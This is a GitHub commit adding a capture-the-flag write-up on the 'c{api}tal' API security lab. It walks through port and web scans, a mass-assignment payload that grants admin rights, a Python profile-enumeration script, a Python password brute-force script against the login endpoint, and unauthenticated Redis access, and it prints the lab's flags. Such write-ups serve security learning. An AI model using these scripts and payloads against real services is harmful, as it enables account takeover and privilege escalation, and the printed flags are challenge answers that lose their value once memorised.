Skip to content

Commit da7e33a

Browse files
authored
Update API pentest writeup with findings and flags
Revised content for API pentest writeup, including vulnerability details, findings, and flags captured.
1 parent 34ddfe7 commit da7e33a

1 file changed

Lines changed: 297 additions & 0 deletions

File tree

Lines changed: 297 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,297 @@
1+
---
2+
title: "API Penetration Testing Writeup: c{api}tal LAB"
3+
date: 2026-02-01 14:00:00 +0200
4+
categories: [Penetration Testing, API Security]
5+
tags: [api]
6+
---
7+
8+
In this writeup, I'll walk through the exploitation of the **c{api}tal LAB** CTF challenge, which covers multiple API security vulnerabilities including mass assignment, CORS misconfiguration, and weak authentication.
9+
10+
## Initial Reconnaissance
11+
12+
### Nmap Scan
13+
14+
```bash
15+
sudo nmap -sC -sV -p- 10.183.255.149
16+
```
17+
18+
The scan revealed several open ports:
19+
20+
- **22/tcp**: SSH (OpenSSH 8.9p1)
21+
- **80/tcp**: Apache httpd 2.4.52 (User Management)
22+
- **111/tcp**: rpcbind
23+
- **4100/tcp**: Node.js Express framework (c{api}tal frontend)
24+
- **6379/tcp**: Redis key-value store 7.0.3
25+
- **8000/tcp**: Uvicorn (Python backend API)
26+
27+
### Nikto Web Server Scan - Frontend (Port 4100)
28+
29+
```bash
30+
nikto -h http://127.0.0.1:4100/
31+
```
32+
33+
**Key findings:**
34+
- Missing X-Frame-Options header (clickjacking risk)
35+
- Missing X-Content-Type-Options header
36+
- CORS header: `Access-Control-Allow-Origin: *` (broad policy)
37+
- Possible WordPress installation detected
38+
39+
### Nikto Web Server Scan - Backend (Port 8000)
40+
41+
```bash
42+
nikto -h http://127.0.0.1:8000/
43+
```
44+
45+
**Key findings:**
46+
- `Access-Control-Allow-Origin: *` (CORS misconfiguration)
47+
- Missing security headers (X-Frame-Options, X-Content-Type-Options)
48+
49+
These findings indicate potential **API7:2019 (Security Misconfiguration)** and **API8:2019 (XSS)** vulnerabilities.
50+
51+
## Mass Assignment
52+
53+
### Discovery
54+
55+
After registering and logging in through the frontend, I obtained a JWT token and tested the user update endpoint:
56+
57+
```
58+
PUT http://127.0.0.1:8000/api/v2/users/login
59+
```
60+
61+
### Exploitation
62+
63+
By sending an additional `admin` property in the JSON request body:
64+
65+
```json
66+
{
67+
"user": {
68+
"admin": true
69+
}
70+
}
71+
```
72+
73+
The API accepted the parameter and elevated my user privileges to admin!
74+
75+
**Response:**
76+
```json
77+
{
78+
"user": {
79+
"username": "user1",
80+
"email": "user1@example.com",
81+
"bio": "flag{M4sS_AsS1gnm3nt}",
82+
"image": null,
83+
"admin": true,
84+
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiZXhwIjoxNzY1ODkxNzI3LCJzdWIiOiJhY2Nlc3MifQ.WdCH6VZ4suM_2LUyIMICinSR9Vuzjeuha6W8oKISmwE"
85+
}
86+
}
87+
```
88+
![Get Admin Privileges](https://www.notion.so/image/attachment%3Ab6a988b0-c1ba-463d-92d4-038fc134e6ed%3A1.jpg?table=block&id=2c47ff78-2f31-809f-b898-d71466c429ed&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=1330&userId=&cache=v2){: width="700" height="400" }
89+
**First Flag:** `flag{M4sS_AsS1gnm3nt}`
90+
91+
**Root Cause:** The backend failed to whitelist properties when binding client-provided data to the user model.
92+
93+
## Exploring the Application
94+
95+
### Articles and Comments
96+
97+
After gaining admin access, I explored the frontend at `127.0.0.1:4100` and discovered articles with comments. I found two comments on a selected article that I attempted to delete.
98+
![two comments](https://www.notion.so/image/attachment%3Affdacd8a-da98-4056-a92c-37f8ccd873f3%3A2.jpg?table=block&id=2c47ff78-2f31-805e-a110-f38fd7a29058&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
99+
100+
![delete comments](https://www.notion.so/image/attachment%3A0b01e191-16f7-4e64-ae59-f40480c45105%3A3.jpg?table=block&id=2c47ff78-2f31-8015-a94e-c71a81241bdf&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
101+
for delete comment this is need two things `slug` and `commentId`
102+
![to delete comments](https://www.notion.so/image/attachment%3A61284fcc-972d-4c4c-9c43-0129efa37a2e%3A4.jpg?table=block&id=2c47ff78-2f31-8098-be66-ecfdb981805f&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=890&userId=&cache=v2){: width="700" height="400" }
103+
104+
### API Directory Enumeration
105+
106+
Using feroxbuster to discover API endpoints:
107+
108+
```bash
109+
feroxbuster -u http://127.0.0.1:8000/api/
110+
```
111+
112+
**Discovered endpoints:**
113+
- `/api/users` (405 Method Not Allowed)
114+
- `/api/debug` (405 Method Not Allowed)
115+
- `/api/admin` (403 Forbidden - now accessible with elevated privileges)
116+
- `/api/user` (403 Forbidden)
117+
- `/api/tags` (200 OK)
118+
- `/api/membership` (405 Method Not Allowed)
119+
- `/api/logging` (403 Forbidden)
120+
121+
With admin privileges, I was able to access the `/api/admin` and `/api/logging` endpoints.
122+
![access admin page](https://www.notion.so/image/attachment%3Ac7ecf113-a973-414b-82d1-03dd0834231a%3A5.jpg?table=block&id=2c47ff78-2f31-8078-b470-d927bcf431f4&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
123+
![access logging](https://www.notion.so/image/attachment%3A2775a221-5145-4bc4-b485-2f66b4616cc2%3A6.jpg?table=block&id=2c47ff78-2f31-8060-a85c-edba4bf3205a&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
124+
125+
## User Enumeration
126+
127+
### User Discovery via Profiles Endpoint
128+
129+
The application exposed user profile information through:
130+
131+
```
132+
GET /api/profiles/{username}
133+
```
134+
135+
I identified the following users on the platform:
136+
- Bob_the_dev
137+
- Hodor
138+
- Pikachu
139+
- Ash Ketchum
140+
- Blastoise
141+
- TeamR$cket
142+
143+
```python
144+
import requests
145+
import urllib.parse
146+
147+
base_url = "http://127.0.0.1:8000/api/profiles/"
148+
token = "add your token here"
149+
headers = {
150+
"Authorization": f"Token {token}",
151+
"Content-Type": "application/json",
152+
"Accept": "application/json"
153+
}
154+
155+
users = [
156+
"Bob_the_dev",
157+
"Hodor",
158+
"Pikachu",
159+
"Ash Ketchum",
160+
"Blastoise",
161+
"TeamR$cket"
162+
]
163+
164+
for user in users:
165+
encoded_username = urllib.parse.quote(user)
166+
url = base_url + encoded_username
167+
print(f"\n===== Requesting profile: {user} =====")
168+
print(f"URL: {url}")
169+
170+
try:
171+
r = requests.get(url, headers=headers)
172+
print("Status:", r.status_code)
173+
print("Response:", r.text)
174+
175+
except Exception as e:
176+
print("Error:", e)
177+
```
178+
![found credit card information](https://www.notion.so/image/attachment%3A06629db8-8d33-4906-9bef-60b816e15a54%3A8.jpg?table=block&id=2c47ff78-2f31-8044-bf16-d7047b95d636&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
179+
180+
i will add this data in membership endpoit using postman
181+
![found credit card information](https://www.notion.so/image/attachment%3A98b3b1e8-75f3-4097-94b1-190cc590e06c%3A9.jpg?table=block&id=2c47ff78-2f31-803a-b8f2-cf0fcab81949&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
182+
183+
184+
## Weak Authentication & Brute Force
185+
186+
### Intelligence Gathering
187+
188+
While exploring articles, I found clues in the Pikachu user's profile:
189+
- Email: `Pikachu@checkmarx.com`
190+
- Personal information: References to Pokémon favorites
191+
192+
```
193+
My favourites pokemon!
194+
flygon luxray garchomp gyarados absol ninetales torterra komala lurantis
195+
charizard gengar arcanine bulbasaur dragonite Blaziken snorlax Mudkip
196+
Jigglypuff ninetals squirtl
197+
```
198+
199+
### Password Brute Force Attack
200+
201+
The login endpoint lacked rate limiting, allowing brute force attacks. I compiled a password list from the Pokémon references and wrote a script:
202+
203+
```python
204+
import requests
205+
import json
206+
207+
url = "http://127.0.0.1:8000/api/v2/users/login"
208+
email = "Pikachu@checkmarx.com"
209+
210+
with open("password_api_lab.txt", "r") as f:
211+
passwords = f.read().splitlines()
212+
213+
for pwd in passwords:
214+
data = {
215+
"user": {
216+
"email": email,
217+
"password": pwd
218+
}
219+
}
220+
221+
r = requests.post(url, json=data)
222+
223+
if "incorrect email or password" not in r.text.lower():
224+
print(f"[+] FOUND PASSWORD: {pwd}")
225+
print("Response:", r.text)
226+
break
227+
else:
228+
print(f"[-] Wrong: {pwd}")
229+
```
230+
231+
**Result:** Successfully cracked the Pikachu account password.
232+
![Password Brute Force Attack](https://www.notion.so/image/attachment%3Ab9029923-1316-4c97-93fc-c07c94636417%3A7.jpg?table=block&id=2c47ff78-2f31-8082-bda4-c93326cae36f&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
233+
**Security Issue:** Lack of rate limiting on the login endpoint allowed rapid password attempts without lockout.
234+
235+
## API Version Discovery
236+
237+
### Fuzzing API Versions
238+
239+
Using ffuf, I discovered multiple API versions:
240+
241+
```bash
242+
ffuf -u http://127.0.0.1:8000/api/FUZZ/users/login -w versions.txt
243+
```
244+
245+
**Discovered versions:**
246+
- `/api/v1/users/login` (405 Method Not Allowed)
247+
- `/api/v2/users/login` (405 Method Not Allowed)
248+
249+
Both versions accepted POST requests for authentication, but API versioning suggests potential legacy endpoint vulnerabilities.
250+
![fuzz api version](https://www.notion.so/image/attachment%3A60c91668-0552-436d-9887-f1dbe6fcf0d2%3A10.jpg?table=block&id=2c47ff78-2f31-80b8-ba4e-ee428d86564d&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
251+
## Lack of Resource and Rate Limiting
252+
253+
The absence of rate limiting was evident throughout the API:
254+
- No attempt throttling on authentication endpoints
255+
- No request frequency limits
256+
- Enabled brute force attacks on user credentials
257+
258+
in this case articles limit if this = number like 10000 or over the flag show in title
259+
![Resource and Rate Limiting](https://www.notion.so/image/attachment%3A558907d4-64b1-4cbe-87ab-50efbc3bbb79%3A11.jpg?table=block&id=2c47ff78-2f31-805a-aa00-c5ef6160ff6e&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
260+
## API Documentation Exposure
261+
262+
The `/docs` endpoint exposed comprehensive Swagger documentation at:
263+
264+
```
265+
http://127.0.0.1:8000/docs
266+
```
267+
268+
This allowed attackers to understand the full API structure and available endpoints without reverse engineering.
269+
270+
## Debug Endpoints
271+
272+
### Debug Endpoint Testing
273+
274+
Through API enumeration, I discovered a `/debug` endpoint. Testing with parameter injection revealed potential RCE vulnerabilities.
275+
![RCE Vuln](https://www.notion.so/image/attachment%3A3dd71e8c-f739-4801-844e-d307cbf8fbf6%3A12.jpg?table=block&id=2c47ff78-2f31-80a0-8260-c93e82b689bc&spaceId=257977a9-15a6-476c-a79d-eab573892e22&width=950&userId=&cache=v2){: width="700" height="400" }
276+
277+
## Unprotected Redis Instance
278+
279+
### Redis Connection
280+
281+
The Redis instance (port 6379) was exposed without authentication:
282+
283+
```bash
284+
redis-cli -h 127.0.0.1 -p 6379
285+
127.0.0.1:6379> KEYS *
286+
1) "flag"
287+
127.0.0.1:6379> get flag
288+
"flag{5eC_M1sc0nF1g}"
289+
```
290+
291+
**Second Flag:** `flag{5eC_M1sc0nF1g}`
292+
293+
**Critical Issue:** Redis server was publicly accessible with no authentication, storing sensitive flag data and potentially application sessions or cache data.
294+
295+
296+
297+
This challenge effectively demonstrated how multiple seemingly minor vulnerabilities can chain together to enable complete system compromise in API-driven applications.

0 commit comments

Comments
 (0)